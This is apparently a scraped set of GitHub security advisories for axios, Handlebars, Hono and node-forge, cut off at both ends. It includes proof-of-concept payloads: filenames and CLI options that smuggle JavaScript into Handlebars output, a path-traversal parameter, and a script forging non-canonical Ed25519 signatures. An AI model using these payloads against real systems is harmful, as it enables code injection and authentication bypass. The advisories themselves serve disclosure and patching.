NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-xx6v-rp6x-q39c",
"modified": "2026-05-05T00:25:22Z",
"published": "2026-05-05T00:25:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}
GHSA-XJPJ-3MR7-GCPF
Vulnerability from github – Published: 2026-03-27 18:22 – Updated: 2026-03-30 20:08Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';
template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';
opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';
opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";
opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")' # Executes injected code, creates ./pwned
Namespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'
CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'
AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'
Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33941"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:22:10Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027 # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.",
"id": "GHSA-xjpj-3mr7-gcpf",
"modified": "2026-03-30T20:08:52Z",
"published": "2026-03-27T18:22:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}
GHSA-XF4J-XP2R-RQQX
Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-04-08 15:34Summary
A path traversal issue in toSSG() allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via ssgParams, specially crafted values can cause generated file paths to escape the intended output directory.
Details
The static site generation process creates output files based on route paths derived from application routes and parameters. When ssgParams is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. ..), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.
For example:
import { Hono } from 'hono'
import { toSSG, ssgParams } from 'hono/ssg'
const app = new Hono()
app.get('/:id', ssgParams([{ id: '../pwned' }]), (c) => {
return c.text('pwned')
})
toSSG(app, fs, { dir: './static' })
In this case, the generated output path may resolve outside ./static, resulting in a file being written outside the intended output directory.
Impact
An attacker who can influence values passed to ssgParams during the build process may be able to write files outside the intended output directory.
Depending on the build and deployment environment, this may:
- overwrite unintended files
- affect generated artifacts
- impact deployment outputs or downstream tooling
This issue is limited to build-time static site generation and does not affect request-time routing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.12.11"
},
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39408"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:16:51Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA path traversal issue in `toSSG()` allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via `ssgParams`, specially crafted values can cause generated file paths to escape the intended output directory.\n\n## Details\n\nThe static site generation process creates output files based on route paths derived from application routes and parameters. When `ssgParams` is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. `..`), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.\n\nFor example:\n \n```ts\nimport { Hono } from \u0027hono\u0027\nimport { toSSG, ssgParams } from \u0027hono/ssg\u0027\n\nconst app = new Hono()\n\napp.get(\u0027/:id\u0027, ssgParams([{ id: \u0027../pwned\u0027 }]), (c) =\u003e {\n return c.text(\u0027pwned\u0027)\n})\n\ntoSSG(app, fs, { dir: \u0027./static\u0027 })\n```\n\nIn this case, the generated output path may resolve outside `./static`, resulting in a file being written outside the intended output directory.\n\n## Impact\n\nAn attacker who can influence values passed to `ssgParams` during the build process may be able to write files outside the intended output directory.\n\nDepending on the build and deployment environment, this may:\n\n* overwrite unintended files\n* affect generated artifacts\n* impact deployment outputs or downstream tooling\n\nThis issue is limited to build-time static site generation and does not affect request-time routing.",
"id": "GHSA-xf4j-xp2r-rqqx",
"modified": "2026-04-08T15:34:35Z",
"published": "2026-04-08T00:16:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-xf4j-xp2r-rqqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39408"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/b470278920fffcfd6d76002755d6db53db827679"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hono: Path traversal in toSSG() allows writing files outside the output directory"
}
GHSA-P6XX-57QC-3WXR
Vulnerability from github – Published: 2026-03-04 19:48 – Updated: 2026-03-05 15:26Summary
When using streamSSE() in Streaming Helper, the event, id, and retry fields were not validated for carriage return (\r) or newline (\n) characters.
Because the SSE protocol uses line breaks as field delimiters, this could allow injection of additional SSE fields within the same event frame if untrusted input was passed into these fields.
Details
The SSE helper builds event frames by joining lines with \n. While multi-line data: fields are handled according to the SSE specification, the event, id, and retry fields previously allowed raw values without rejecting embedded CR/LF characters.
Including CR/LF in these control fields could allow unintended additional fields (such as data:, id:, or retry:) to be injected into the event stream.
The issue has been fixed by rejecting CR/LF characters in these fields.
Impact
An attacker could manipulate the structure of SSE event frames if an application passed user-controlled input directly into event, id, or retry.
Depending on application behavior, this could result in injected SSE fields or altered event stream handling. Applications that render e.data in an unsafe manner (for example, using innerHTML) could potentially expose themselves to client-side script injection.
This issue affects applications that rely on the SSE helper to enforce protocol-level constraints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29085"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T19:48:41Z",
"nvd_published_at": "2026-03-04T23:16:10Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen using `streamSSE()` in Streaming Helper, the `event`, `id`, and `retry` fields were not validated for carriage return (`\\r`) or newline (`\\n`) characters.\n\nBecause the SSE protocol uses line breaks as field delimiters, this could allow injection of additional SSE fields within the same event frame if untrusted input was passed into these fields.\n\n## Details\n\nThe SSE helper builds event frames by joining lines with `\\n`. While multi-line `data:` fields are handled according to the SSE specification, the `event`, `id`, and `retry` fields previously allowed raw values without rejecting embedded CR/LF characters.\n\nIncluding CR/LF in these control fields could allow unintended additional fields (such as `data:`, `id:`, or `retry:`) to be injected into the event stream.\n\nThe issue has been fixed by rejecting CR/LF characters in these fields.\n\n## Impact\n\nAn attacker could manipulate the structure of SSE event frames if an application passed user-controlled input directly into `event`, `id`, or `retry`.\n\nDepending on application behavior, this could result in injected SSE fields or altered event stream handling. Applications that render `e.data` in an unsafe manner (for example, using `innerHTML`) could potentially expose themselves to client-side script injection.\n\nThis issue affects applications that rely on the SSE helper to enforce protocol-level constraints.",
"id": "GHSA-p6xx-57qc-3wxr",
"modified": "2026-03-05T15:26:37Z",
"published": "2026-03-04T19:48:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-p6xx-57qc-3wxr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29085"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/f4123ed9ea3c7c52380cc99a079a4d773838846e"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono Vulnerable to SSE Control Field Injection via CR/LF in writeSSE()"
}
GHSA-Q67F-28XG-22RW
Vulnerability from github – Published: 2026-03-26 22:04 – Updated: 2026-03-27 21:51Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
poc.js
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {
Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
-
Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33895"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:04:41Z",
"nvd_published_at": "2026-03-27T21:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature\u0027s last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n \"forge\": {\n \"original_valid\": true,\n \"tweaked_valid\": true\n },\n \"crypto\": {\n \"original_valid\": true,\n \"tweaked_valid\": false\n }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge\u0027);\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from(\u0027dderpym is the coolest man alive!\u0027);\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n throw new Error(\u0027signature must be a 64-byte Buffer\u0027);\n }\n const out = Buffer.from(signature);\n let carry = 0;\n for (let i = 0; i \u003c 32; i++) {\n const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n out[idx] = sum \u0026 0xff;\n carry = sum \u003e\u003e 8;\n }\n return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n if (publicKeyBytes.length !== 32) {\n throw new Error(\u0027publicKeyBytes must be 32 bytes\u0027);\n }\n // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n const b64 = spki.toString(\u0027base64\u0027).match(/.{1,64}/g).join(\u0027\\n\u0027);\n return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n try {\n const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n const ok = crypto.verify(null, message, keyObject, signature);\n return { ok };\n } catch (error) {\n return { ok: false, error: error.message };\n }\n}\n\nfunction toResult(label, original, tweaked) {\n return {\n [label]: {\n original_valid: original.ok,\n tweaked_valid: tweaked.ok,\n },\n };\n}\n\nfunction main() {\n const kp = ed.generateKeyPair();\n const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n const tweaked = addLToS(sig);\n const okTweaked = ed.verify({\n message: MESSAGE,\n signature: tweaked.sig,\n publicKey: kp.publicKey,\n });\n const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n const result = {\n ...toResult(\u0027forge\u0027, { ok }, { ok: okTweaked }),\n ...toResult(\u0027crypto\u0027, cryptoOriginal, cryptoTweaked),\n };\n console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n return -1;\n }\n\n+ if(!_isCanonicalSignatureScalar(sm, 32)) {\n+ return -1;\n+ }\n+\n for(i = 0; i \u003c n; ++i) {\n m[i] = sm[i];\n }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+ var i;\n+ // Compare little-endian scalar S against group order L and require S \u003c L.\n+ for(i = 31; i 